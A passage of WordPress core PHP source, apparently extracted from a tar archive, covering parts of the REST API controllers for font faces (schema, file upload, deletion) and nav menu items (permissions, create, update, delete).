			$processed_srcs[] = $font_file['url'];
			$font_file_meta[] = $this->relative_fonts_path( $font_file['file'] );
		}

		// Store the updated settings for prepare_item_for_database to use.
		$settings['src'] = count( $processed_srcs ) === 1 ? $processed_srcs[0] : $processed_srcs;
		$request->set_param( 'font_face_settings', $settings );

		// Ensure that $settings data is slashed, so values with quotes are escaped.
		// WP_REST_Posts_Controller::create_item uses wp_slash() on the post_content.
		$font_face_post = parent::create_item( $request );

		if ( is_wp_error( $font_face_post ) ) {
			return $font_face_post;
		}

		$font_face_id = $font_face_post->data['id'];

		foreach ( $font_file_meta as $font_file_path ) {
			add_post_meta( $font_face_id, '_wp_font_face_file', $font_file_path );
		}

		return $font_face_post;
	}

	/**
	 * Deletes a single font face.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		$font_family = $this->get_parent_font_family_post( $request['font_family_id'] );
		if ( is_wp_error( $font_family ) ) {
			return $font_family;
		}

		if ( (int) $font_family->ID !== (int) $post->post_parent ) {
			return new WP_Error(
				'rest_font_face_parent_id_mismatch',
				/* translators: %d: A post id. */
				sprintf( __( 'The font face does not belong to the specified font family with id of "%d".' ), $font_family->ID ),
				array( 'status' => 404 )
			);
		}

		$force = isset( $request['force'] ) ? (bool) $request['force'] : false;

		// We don't support trashing for font faces.
		if ( ! $force ) {
			return new WP_Error(
				'rest_trash_not_supported',
				/* translators: %s: force=true */
				sprintf( __( 'Font faces do not support trashing. Set "%s" to delete.' ), 'force=true' ),
				array( 'status' => 501 )
			);
		}

		return parent::delete_item( $request );
	}

	/**
	 * Prepares a single font face output for response.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Post         $item    Post object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = $item->ID;
		}
		if ( rest_is_field_included( 'theme_json_version', $fields ) ) {
			$data['theme_json_version'] = static::LATEST_THEME_JSON_VERSION_SUPPORTED;
		}

		if ( rest_is_field_included( 'parent', $fields ) ) {
			$data['parent'] = $item->post_parent;
		}

		if ( rest_is_field_included( 'font_face_settings', $fields ) ) {
			$data['font_face_settings'] = $this->get_settings_from_post( $item );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $item );
			$response->add_links( $links );
		}

		/**
		 * Filters the font face data for a REST API response.
		 *
		 * @since 6.5.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Post          $post     Font face post object.
		 * @param WP_REST_Request  $request  Request object.
		 */
		return apply_filters( 'rest_prepare_wp_font_face', $response, $item, $request );
	}

	/**
	 * Retrieves the post's schema, conforming to JSON Schema.
	 *
	 * @since 6.5.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => $this->post_type,
			'type'       => 'object',
			// Base properties for every Post.
			'properties' => array(
				'id'                 => array(
					'description' => __( 'Unique identifier for the post.', 'default' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'theme_json_version' => array(
					'description' => __( 'Version of the theme.json schema used for the typography settings.' ),
					'type'        => 'integer',
					'default'     => static::LATEST_THEME_JSON_VERSION_SUPPORTED,
					'minimum'     => 2,
					'maximum'     => static::LATEST_THEME_JSON_VERSION_SUPPORTED,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'parent'             => array(
					'description' => __( 'The ID for the parent font family of the font face.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				// Font face settings come directly from theme.json schema
				// See https://schemas.wp.org/trunk/theme.json
				'font_face_settings' => array(
					'description'          => __( 'font-face declaration in theme.json format.' ),
					'type'                 => 'object',
					'context'              => array( 'view', 'edit', 'embed' ),
					'properties'           => array(
						'fontFamily'            => array(
							'description' => __( 'CSS font-family value.' ),
							'type'        => 'string',
							'default'     => '',
							'arg_options' => array(
								'sanitize_callback' => array( 'WP_Font_Utils', 'sanitize_font_family' ),
							),
						),
						'fontStyle'             => array(
							'description' => __( 'CSS font-style value.' ),
							'type'        => 'string',
							'default'     => 'normal',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'fontWeight'            => array(
							'description' => __( 'List of available font weights, separated by a space.' ),
							'default'     => '400',
							// Changed from `oneOf` to avoid errors from loose type checking.
							// e.g. a fontWeight of "400" validates as both a string and an integer due to is_numeric check.
							'type'        => array( 'string', 'integer' ),
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'fontDisplay'           => array(
							'description' => __( 'CSS font-display value.' ),
							'type'        => 'string',
							'default'     => 'fallback',
							'enum'        => array(
								'auto',
								'block',
								'fallback',
								'swap',
								'optional',
							),
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'src'                   => array(
							'description' => __( 'Paths or URLs to the font files.' ),
							// Changed from `oneOf` to `anyOf` due to rest_sanitize_array converting a string into an array,
							// and causing a "matches more than one of the expected formats" error.
							'anyOf'       => array(
								array(
									'type' => 'string',
								),
								array(
									'type'  => 'array',
									'items' => array(
										'type' => 'string',
									),
								),
							),
							'default'     => array(),
							'arg_options' => array(
								'sanitize_callback' => function ( $value ) {
									return is_array( $value ) ? array_map( array( $this, 'sanitize_src' ), $value ) : $this->sanitize_src( $value );
								},
							),
						),
						'fontStretch'           => array(
							'description' => __( 'CSS font-stretch value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'ascentOverride'        => array(
							'description' => __( 'CSS ascent-override value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'descentOverride'       => array(
							'description' => __( 'CSS descent-override value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'fontVariant'           => array(
							'description' => __( 'CSS font-variant value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'fontFeatureSettings'   => array(
							'description' => __( 'CSS font-feature-settings value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'fontVariationSettings' => array(
							'description' => __( 'CSS font-variation-settings value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'lineGapOverride'       => array(
							'description' => __( 'CSS line-gap-override value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'sizeAdjust'            => array(
							'description' => __( 'CSS size-adjust value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'unicodeRange'          => array(
							'description' => __( 'CSS unicode-range value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'preview'               => array(
							'description' => __( 'URL to a preview image of the font face.' ),
							'type'        => 'string',
							'format'      => 'uri',
							'default'     => '',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_url',
							),
						),
					),
					'required'             => array( 'fontFamily', 'src' ),
					'additionalProperties' => false,
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the item's schema for display / public consumption purposes.
	 *
	 * @since 6.5.0
	 *
	 * @return array Public item schema data.
	 */
	public function get_public_item_schema() {

		$schema = parent::get_public_item_schema();

		// Also remove `arg_options' from child font_family_settings properties, since the parent
		// controller only handles the top level properties.
		foreach ( $schema['properties']['font_face_settings']['properties'] as &$property ) {
			unset( $property['arg_options'] );
		}

		return $schema;
	}

	/**
	 * Retrieves the query params for the font face collection.
	 *
	 * @since 6.5.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		// Remove unneeded params.
		unset(
			$query_params['after'],
			$query_params['modified_after'],
			$query_params['before'],
			$query_params['modified_before'],
			$query_params['search'],
			$query_params['search_columns'],
			$query_params['slug'],
			$query_params['status']
		);

		$query_params['orderby']['default'] = 'id';
		$query_params['orderby']['enum']    = array( 'id', 'include' );

		/**
		 * Filters collection parameters for the font face controller.
		 *
		 * @since 6.5.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_wp_font_face_collection_params', $query_params );
	}

	/**
	 * Get the params used when creating a new font face.
	 *
	 * @since 6.5.0
	 *
	 * @return array Font face create arguments.
	 */
	public function get_create_params() {
		$properties = $this->get_item_schema()['properties'];
		return array(
			'theme_json_version' => $properties['theme_json_version'],
			// When creating, font_face_settings is stringified JSON, to work with multipart/form-data used
			// when uploading font files.
			'font_face_settings' => array(
				'description'       => __( 'font-face declaration in theme.json format, encoded as a string.' ),
				'type'              => 'string',
				'required'          => true,
				'validate_callback' => array( $this, 'validate_create_font_face_settings' ),
				'sanitize_callback' => array( $this, 'sanitize_font_face_settings' ),
			),
		);
	}

	/**
	 * Get the parent font family, if the ID is valid.
	 *
	 * @since 6.5.0
	 *
	 * @param int $font_family_id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_parent_font_family_post( $font_family_id ) {
		$error = new WP_Error(
			'rest_post_invalid_parent',
			__( 'Invalid post parent ID.', 'default' ),
			array( 'status' => 404 )
		);

		if ( (int) $font_family_id <= 0 ) {
			return $error;
		}

		$font_family_post = get_post( (int) $font_family_id );

		if ( empty( $font_family_post ) || empty( $font_family_post->ID )
		|| 'wp_font_family' !== $font_family_post->post_type
		) {
			return $error;
		}

		return $font_family_post;
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Post $post Post object.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $post ) {
		// Entity meta.
		return array(
			'self'       => array(
				'href' => rest_url( $this->namespace . '/font-families/' . $post->post_parent . '/font-faces/' . $post->ID ),
			),
			'collection' => array(
				'href' => rest_url( $this->namespace . '/font-families/' . $post->post_parent . '/font-faces' ),
			),
			'parent'     => array(
				'href' => rest_url( $this->namespace . '/font-families/' . $post->post_parent ),
			),
		);
	}

	/**
	 * Prepares a single font face post for creation.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return stdClass Post object.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared_post = new stdClass();

		// Settings have already been decoded by ::sanitize_font_face_settings().
		$settings = $request->get_param( 'font_face_settings' );

		// Store this "slug" as the post_title rather than post_name, since it uses the fontFamily setting,
		// which may contain multibyte characters.
		$title = WP_Font_Utils::get_font_face_slug( $settings );

		$prepared_post->post_type    = $this->post_type;
		$prepared_post->post_parent  = $request['font_family_id'];
		$prepared_post->post_status  = 'publish';
		$prepared_post->post_title   = $title;
		$prepared_post->post_name    = sanitize_title( $title );
		$prepared_post->post_content = wp_json_encode( $settings );

		return $prepared_post;
	}

	/**
	 * Sanitizes a single src value for a font face.
	 *
	 * @since 6.5.0
	 *
	 * @param string $value Font face src that is a URL or the key for a $_FILES array item.
	 * @return string Sanitized value.
	 */
	protected function sanitize_src( $value ) {
		$value = ltrim( $value );
		return false === wp_http_validate_url( $value ) ? (string) $value : sanitize_url( $value );
	}

	/**
	 * Handles the upload of a font file using wp_handle_upload().
	 *
	 * @since 6.5.0
	 *
	 * @param array $file Single file item from $_FILES.
	 * @return array|WP_Error Array containing uploaded file attributes on success, or WP_Error object on failure.
	 */
	protected function handle_font_file_upload( $file ) {
		add_filter( 'upload_mimes', array( 'WP_Font_Utils', 'get_allowed_font_mime_types' ) );
		// Filter the upload directory to return the fonts directory.
		add_filter( 'upload_dir', '_wp_filter_font_directory' );

		$overrides = array(
			'upload_error_handler' => array( $this, 'handle_font_file_upload_error' ),
			// Not testing a form submission.
			'test_form'            => false,
			// Only allow uploading font files for this request.
			'mimes'                => WP_Font_Utils::get_allowed_font_mime_types(),
		);

		// Bypasses is_uploaded_file() when running unit tests.
		if ( defined( 'DIR_TESTDATA' ) && DIR_TESTDATA ) {
			$overrides['action'] = 'wp_handle_mock_upload';
		}

		$uploaded_file = wp_handle_upload( $file, $overrides );

		remove_filter( 'upload_dir', '_wp_filter_font_directory' );
		remove_filter( 'upload_mimes', array( 'WP_Font_Utils', 'get_allowed_font_mime_types' ) );

		return $uploaded_file;
	}

	/**
	 * Handles file upload error.
	 *
	 * @since 6.5.0
	 *
	 * @param array  $file    File upload data.
	 * @param string $message Error message from wp_handle_upload().
	 * @return WP_Error WP_Error object.
	 */
	public function handle_font_file_upload_error( $file, $message ) {
		$status = 500;
		$code   = 'rest_font_upload_unknown_error';

		if ( __( 'Sorry, you are not allowed to upload this file type.' ) === $message ) {
			$status = 400;
			$code   = 'rest_font_upload_invalid_file_type';
		}

		return new WP_Error( $code, $message, array( 'status' => $status ) );
	}

	/**
	 * Returns relative path to an uploaded font file.
	 *
	 * The path is relative to the current fonts directory.
	 *
	 * @since 6.5.0
	 * @access private
	 *
	 * @param string $path Full path to the file.
	 * @return string Relative path on success, unchanged path on failure.
	 */
	protected function relative_fonts_path( $path ) {
		$new_path = $path;

		$fonts_dir = wp_get_font_dir();
		if ( str_starts_with( $new_path, $fonts_dir['basedir'] ) ) {
			$new_path = str_replace( $fonts_dir['basedir'], '', $new_path );
			$new_path = ltrim( $new_path, '/' );
		}

		return $new_path;
	}

	/**
	 * Gets the font face's settings from the post.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Post $post Font face post object.
	 * @return array Font face settings array.
	 */
	protected function get_settings_from_post( $post ) {
		$settings   = json_decode( $post->post_content, true );
		$properties = $this->get_item_schema()['properties']['font_face_settings']['properties'];

		// Provide required, empty settings if needed.
		if ( null === $settings ) {
			$settings = array(
				'fontFamily' => '',
				'src'        => array(),
			);
		}

		// Only return the properties defined in the schema.
		return array_intersect_key( $settings, $properties );
	}
}
endpoints/class-wp-rest-menu-items-controller.php000064400000100765151024200430016226 0ustar00<?php
/**
 * REST API: WP_REST_Menu_Items_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.9.0
 */

/**
 * Core class to access nav items via the REST API.
 *
 * @since 5.9.0
 *
 * @see WP_REST_Posts_Controller
 */
class WP_REST_Menu_Items_Controller extends WP_REST_Posts_Controller {

	/**
	 * Gets the nav menu item, if the ID is valid.
	 *
	 * @since 5.9.0
	 *
	 * @param int $id Supplied ID.
	 * @return object|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_nav_menu_item( $id ) {
		$post = $this->get_post( $id );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		return wp_setup_nav_menu_item( $post );
	}

	/**
	 * Checks if a given request has access to read menu items.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$has_permission = parent::get_items_permissions_check( $request );

		if ( true !== $has_permission ) {
			return $has_permission;
		}

		return $this->check_has_read_only_access( $request );
	}

	/**
	 * Checks if a given request has access to read a menu item if they have access to edit them.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has read access for the item, WP_Error object or false otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$permission_check = parent::get_item_permissions_check( $request );

		if ( true !== $permission_check ) {
			return $permission_check;
		}

		return $this->check_has_read_only_access( $request );
	}

	/**
	 * Checks whether the current user has read permission for the endpoint.
	 *
	 * This allows for any user that can `edit_theme_options` or edit any REST API available post type.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	protected function check_has_read_only_access( $request ) {
		/**
		 * Filters whether the current user has read access to menu items via the REST API.
		 *
		 * @since 6.8.0
		 *
		 * @param bool               $read_only_access Whether the current user has read access to menu items
		 *                                             via the REST API.
		 * @param WP_REST_Request    $request          Full details about the request.
		 * @param WP_REST_Controller $this             The current instance of the controller.
		 */
		$read_only_access = apply_filters( 'rest_menu_read_access', false, $request, $this );
		if ( $read_only_access ) {
			return true;
		}

		if ( current_user_can( 'edit_theme_options' ) ) {
			return true;
		}

		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_view',
			__( 'Sorry, you are not allowed to view menu items.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Creates a single nav menu item.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( ! empty( $request['id'] ) ) {
			return new WP_Error( 'rest_post_exists', __( 'Cannot create existing post.' ), array( 'status' => 400 ) );
		}

		$prepared_nav_item = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared_nav_item ) ) {
			return $prepared_nav_item;
		}
		$prepared_nav_item = (array) $prepared_nav_item;

		$nav_menu_item_id = wp_update_nav_menu_item( $prepared_nav_item['menu-id'], $prepared_nav_item['menu-item-db-id'], wp_slash( $prepared_nav_item ), false );
		if ( is_wp_error( $nav_menu_item_id ) ) {
			if ( 'db_insert_error' === $nav_menu_item_id->get_error_code() ) {
				$nav_menu_item_id->add_data( array( 'status' => 500 ) );
			} else {
				$nav_menu_item_id->add_data( array( 'status' => 400 ) );
			}

			return $nav_menu_item_id;
		}

		$nav_menu_item = $this->get_nav_menu_item( $nav_menu_item_id );
		if ( is_wp_error( $nav_menu_item ) ) {
			$nav_menu_item->add_data( array( 'status' => 404 ) );

			return $nav_menu_item;
		}

		/**
		 * Fires after a single menu item is created or updated via the REST API.
		 *
		 * @since 5.9.0
		 *
		 * @param object          $nav_menu_item Inserted or updated menu item object.
		 * @param WP_REST_Request $request       Request object.
		 * @param bool            $creating      True when creating a menu item, false when updating.
		 */
		do_action( 'rest_insert_nav_menu_item', $nav_menu_item, $request, true );

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $nav_menu_item_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$nav_menu_item = $this->get_nav_menu_item( $nav_menu_item_id );
		$fields_update = $this->update_additional_fields_for_object( $nav_menu_item, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/**
		 * Fires after a single menu item is completely created or updated via the REST API.
		 *
		 * @since 5.9.0
		 *
		 * @param object          $nav_menu_item Inserted or updated menu item object.
		 * @param WP_REST_Request $request       Request object.
		 * @param bool            $creating      True when creating a menu item, false when updating.
		 */
		do_action( 'rest_after_insert_nav_menu_item', $nav_menu_item, $request, true );

		$post = get_post( $nav_menu_item_id );
		wp_after_insert_post( $post, false, null );

		$response = $this->prepare_item_for_response( $post, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $nav_menu_item_id ) ) );

		return $response;
	}

	/**
	 * Updates a single nav menu item.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$valid_check = $this->get_nav_menu_item( $request['id'] );
		if ( is_wp_error( $valid_check ) ) {
			return $valid_check;
		}
		$post_before       = get_post( $request['id'] );
		$prepared_nav_item = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared_nav_item ) ) {
			return $prepared_nav_item;
		}

		$prepared_nav_item = (array) $prepared_nav_item;

		$nav_menu_item_id = wp_update_nav_menu_item( $prepared_nav_item['menu-id'], $prepared_nav_item['menu-item-db-id'], wp_slash( $prepared_nav_item ), false );

		if ( is_wp_error( $nav_menu_item_id ) ) {
			if ( 'db_update_error' === $nav_menu_item_id->get_error_code() ) {
				$nav_menu_item_id->add_data( array( 'status' => 500 ) );
			} else {
				$nav_menu_item_id->add_data( array( 'status' => 400 ) );
			}

			return $nav_menu_item_id;
		}

		$nav_menu_item = $this->get_nav_menu_item( $nav_menu_item_id );
		if ( is_wp_error( $nav_menu_item ) ) {
			$nav_menu_item->add_data( array( 'status' => 404 ) );

			return $nav_menu_item;
		}

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php */
		do_action( 'rest_insert_nav_menu_item', $nav_menu_item, $request, false );

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $nav_menu_item->ID );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$post          = get_post( $nav_menu_item_id );
		$nav_menu_item = $this->get_nav_menu_item( $nav_menu_item_id );
		$fields_update = $this->update_additional_fields_for_object( $nav_menu_item, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php */
		do_action( 'rest_after_insert_nav_menu_item', $nav_menu_item, $request, false );

		wp_after_insert_post( $post, true, $post_before );

		$response = $this->prepare_item_for_response( get_post( $nav_menu_item_id ), $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Deletes a single nav menu item.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error True on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$menu_item = $this->get_nav_menu_item( $request['id'] );
		if ( is_wp_error( $menu_item ) ) {
			return $menu_item;
		}

		// We don't support trashing for menu items.
		if ( ! $request['force'] ) {
			/* translators: %s: force=true */
			return new WP_Error( 'rest_trash_not_supported', sprintf( __( "Menu items do not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) );
		}

		$previous = $this->prepare_item_for_response( get_post( $request['id'] ), $request );

		$result = wp_delete_post( $request['id'], true );

		if ( ! $result ) {
			return new WP_Error( 'rest_cannot_delete', __( 'The post cannot be deleted.' ), array( 'status' => 500 ) );
		}

		$response = new WP_REST_Response();
		$response->set_data(
			array(
				'deleted'  => true,
				'previous' => $previous->get_data(),
			)
		);

		/**
		 * Fires immediately after a single menu item is deleted via the REST API.
		 *
		 * @since 5.9.0
		 *
		 * @param object          $nav_menu_item Inserted or updated menu item object.
		 * @param WP_REST_Response $response The response data.
		 * @param WP_REST_Request $request       Request object.
		 */
		do_action( 'rest_delete_nav_menu_item', $menu_item, $response, $request );

		return $response;
	}

	/**
	 * Prepares a single nav menu item for create or update.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Request object.
	 *
	 * @return object|WP_Error
	 */
	protected function prepare_item_for_database( $request ) {
		$menu_item_db_id = $request['id'];
		$menu_item_obj   = $this->get_nav_menu_item( $menu_item_db_id );
		// Need to persist the menu item data. See https://core.trac.wordpress.org/ticket/28138
		if ( ! is_wp_error( $menu_item_obj ) ) {
			// Correct the menu position if this was the first item. See https://core.trac.wordpress.org/ticket/28140
			$position = ( 0 === $menu_item_obj->menu_order ) ? 1 : $menu_item_obj->menu_order;

			$prepared_nav_item = array(
				'menu-item-db-id'       => $menu_item_db_id,
				'menu-item-object-id'   => $menu_item_obj->object_id,
				'menu-item-object'      => $menu_item_obj->object,
				'menu-item-parent-id'   => $menu_item_obj->menu_item_parent,
				'menu-item-position'    => $position,
				'menu-item-type'        => $menu_item_obj->type,
				'menu-item-title'       => $menu_item_obj->title,
				'menu-item-url'         => $menu_item_obj->url,
				'menu-item-description' => $menu_item_obj->description,
				'menu-item-attr-title'  => $menu_item_obj->attr_title,
				'menu-item-target'      => $menu_item_obj->target,
				'menu-item-classes'     => $menu_item_obj->classes,
				// Stored in the database as a string.
				'menu-item-xfn'         => explode( ' ', $menu_item_obj->xfn ),
				'menu-item-status'      => $menu_item_obj->post_status,
				'menu-id'               => $this->get_menu_id( $menu_item_db_id ),
			);
		} else {
			$prepared_nav_item = array(
				'menu-id'               => 0,
				'menu-item-db-id'       => 0,
				'menu-item-object-id'   => 0,
				'menu-item-object'      => '',
				'menu-item-parent-id'   => 0,
				'menu-item-position'    => 1,
				'menu-item-type'        => 'custom',
				'menu-item-title'       => '',
				'menu-item-url'         => '',
				'menu-item-description' => '',
				'menu-item-attr-title'  => '',
				'menu-item-target'      => '',
				'menu-item-classes'     => array(),
				'menu-item-xfn'         => array(),
				'menu-item-status'      => 'publish',
			);
		}

		$mapping = array(
			'menu-item-db-id'       => 'id',
			'menu-item-object-id'   => 'object_id',
			'menu-item-object'      => 'object',
			'menu-item-parent-id'   => 'parent',
			'menu-item-position'    => 'menu_order',
			'menu-item-type'        => 'type',
			'menu-item-url'         => 'url',
			'menu-item-description' => 'description',
			'menu-item-attr-title'  => 'attr_title',
			'menu-item-target'      => 'target',
			'menu-item-classes'     => 'classes',
			'menu-item-xfn'         => 'xfn',
			'menu-item-status'      => 'status',
		);

		$schema = $this->get_item_schema();

		foreach ( $mapping as $original => $api_request ) {
			if ( isset( $request[ $api_request ] ) ) {
				$prepared_nav_item[ $original ] = $request[ $api_request ];
			}
		}

		$taxonomy = get_taxonomy( 'nav_menu' );
		$base     = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;
		// If menus submitted, cast to int.
		if ( ! empty( $request[ $base ] ) ) {
			$prepared_nav_item['menu-id'] = absint( $request[ $base ] );
		}

		// Nav menu title.
		if ( ! empty( $schema['properties']['title'] ) && isset( $request['title'] ) ) {
			if ( is_string( $request['title'] ) ) {
				$prepared_nav_item['menu-item-title'] = $request['title'];
			} elseif ( ! empty( $request['title']['raw'] ) ) {
				$prepared_nav_item['menu-item-title'] = $request['title']['raw'];
			}
		}

		$error = new WP_Error();

		// Check if object id exists before saving.
		if ( ! $prepared_nav_item['menu-item-object'] ) {
			// If taxonomy, check if term exists.
			if ( 'taxonomy' === $prepared_nav_item['menu-item-type'] ) {
				$original = get_term( absint( $prepared_nav_item['menu-item-object-id'] ) );
				if ( empty( $original ) || is_wp_error( $original ) ) {
					$error->add( 'rest_term_invalid_id', __( 'Invalid term ID.' ), array( 'status' => 400 ) );
				} else {
					$prepared_nav_item['menu-item-object'] = get_term_field( 'taxonomy', $original );
				}
				// If post, check if post object exists.
			} elseif ( 'post_type' === $prepared_nav_item['menu-item-type'] ) {
				$original = get_post( absint( $prepared_nav_item['menu-item-object-id'] ) );
				if ( empty( $original ) ) {
					$error->add( 'rest_post_invalid_id', __( 'Invalid post ID.' ), array( 'status' => 400 ) );
				} else {
					$prepared_nav_item['menu-item-object'] = get_post_type( $original );
				}
			}
		}

		// If post type archive, check if post type exists.
		if ( 'post_type_archive' === $prepared_nav_item['menu-item-type'] ) {
			$post_type = $prepared_nav_item['menu-item-object'] ? $prepared_nav_item['menu-item-object'] : false;
			$original  = get_post_type_object( $post_type );
			if ( ! $original ) {
				$error->add( 'rest_post_invalid_type', __( 'Invalid post type.' ), array( 'status' => 400 ) );
			}
		}

		// Check if menu item is type custom, then title and url are required.
		if ( 'custom' === $prepared_nav_item['menu-item-type'] ) {
			if ( '' === $prepared_nav_item['menu-item-title'] ) {
				$error->add( 'rest_title_required', __( 'The title is required when using a custom menu item type.' ), array( 'status' => 400 ) );
			}
			if ( empty( $prepared_nav_item['menu-item-url'] ) ) {
				$error->add( 'rest_url_required', __( 'The url is required when using a custom menu item type.' ), array( 'status' => 400 ) );
			}
		}

		if ( $error->has_errors() ) {
			return $error;
		}

		// The xfn and classes properties are arrays, but passed to wp_update_nav_menu_item as a string.
		foreach ( array( 'menu-item-xfn', 'menu-item-classes' ) as $key ) {
			$prepared_nav_item[ $key ] = implode( ' ', $prepared_nav_item[ $key ] );
		}

		// Only draft / publish are valid post status for menu items.
		if ( 'publish' !== $prepared_nav_item['menu-item-status'] ) {
			$prepared_nav_item['menu-item-status'] = 'draft';
		}

		$prepared_nav_item = (object) $prepared_nav_item;

		/**
		 * Filters a menu item before it is inserted via the REST API.
		 *
		 * @since 5.9.0
		 *
		 * @param object          $prepared_nav_item An object representing a single menu item prepared
		 *                                           for inserting or updating the database.
		 * @param WP_REST_Request $request           Request object.
		 */
		return apply_filters( 'rest_pre_insert_nav_menu_item', $prepared_nav_item, $request );
	}

	/**
	 * Prepares a single nav menu item output for response.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_Post         $item    Post object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Base fields for every post.
		$fields    = $this->get_fields_for_response( $request );
		$menu_item = $this->get_nav_menu_item( $item->ID );
		$data      = array();

